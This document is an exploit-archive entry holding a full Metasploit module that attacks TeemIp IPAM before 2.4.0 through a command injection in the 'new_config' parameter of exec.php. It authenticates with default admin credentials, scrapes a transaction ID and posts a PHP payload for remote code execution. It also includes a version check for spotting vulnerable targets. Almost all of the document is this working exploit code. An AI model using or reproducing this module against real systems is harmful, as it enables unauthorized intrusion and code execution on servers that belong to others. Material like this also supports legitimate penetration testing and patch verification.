TeemIp IPAM Command Injection

2019.04.04
Risk: Medium
Local: No
Remote: No
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection", 'Description' => %q( This module exploits a command injection vulnerability in TeemIp versions prior to 2.4.0. The "new_config" parameter of "exec.php" allows you to create a new PHP file with the exception of config information. The malicious PHP code sent is executed instantaneously and is not saved on the server. The vulnerability can be exploited by an authorized user (Administrator). Module allows remote command execution by sending php payload with parameter 'new_config'. ), 'License' => MSF_LICENSE, 'Author' => [ 'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module ], 'References' => [ ['URL', 'http://pentest.com.tr/exploits/TeemIp-IPAM-2-4-0-new-config-Command-Injection-Metasploit.html'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => false, 'DisclosureDate' => "Apr 03 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "Base TeemIp IPAM directory path", '/6']), OptString.new('USERNAME', [true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [false, "Password to authenticate with", 'admin']) ] ) end ## # Login and cookie information gathering ## def do_login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'pages', 'UI.php'), 'vars_post' => { 'auth_user' => datastore['username'], 'auth_pwd' => datastore['password'], 'loginop' => 'login' } ) unless res fail_with(Failure::Unreachable, 'Connection error occurred!') end if res.code == 200 && (res.body =~ /Logged in as/) print_good("Authentication was successful") @cookies = res.get_cookies return else fail_with(Failure::NoAccess, 'Authentication was unsuccessful') end end def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end ## # Exploitation process with prepared information ## def exploit unless Exploit::CheckCode::Appears == check fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') end @cookies = nil do_login res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'pages', 'exec.php?exec_module=itop-config&exec_page=config.php&exec_env=production&c%5Bmenu%5D=ConfigEditor'), 'headers' => { 'Cookie' => @cookies } ) if res and res.code == 200 and res.body =~ /Identify yourself/ return do_login else transid = res.body.split('transaction_id" value="')[1].split('"')[0] print_good("transaction_id : #{transid}") end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri, 'pages', 'exec.php?exec_module=itop-config&exec_page=config.php&exec_env=production&c%5Bmenu%5D=ConfigEditor'), 'vars_post' => { "operation" => "save", "transaction_id" => transid, "prev_config" => "exec", "new_config" => payload.encoded }, 'headers' => { 'Cookie' => @cookies } ) handler end ## # Version and Vulnerability Check ## def check res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'pages', 'ajax.render.php'), 'vars_post' => { "operation" => "about_box" } ) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.code == 200 version = res.body.split('iTop version ')[1].split('" src=')[0] if version < '2.4.1' print_status("#{peer} - Teemip Version is #{version}") return Exploit::CheckCode::Appears end end return Exploit::CheckCode::Safe end ## # End ## end


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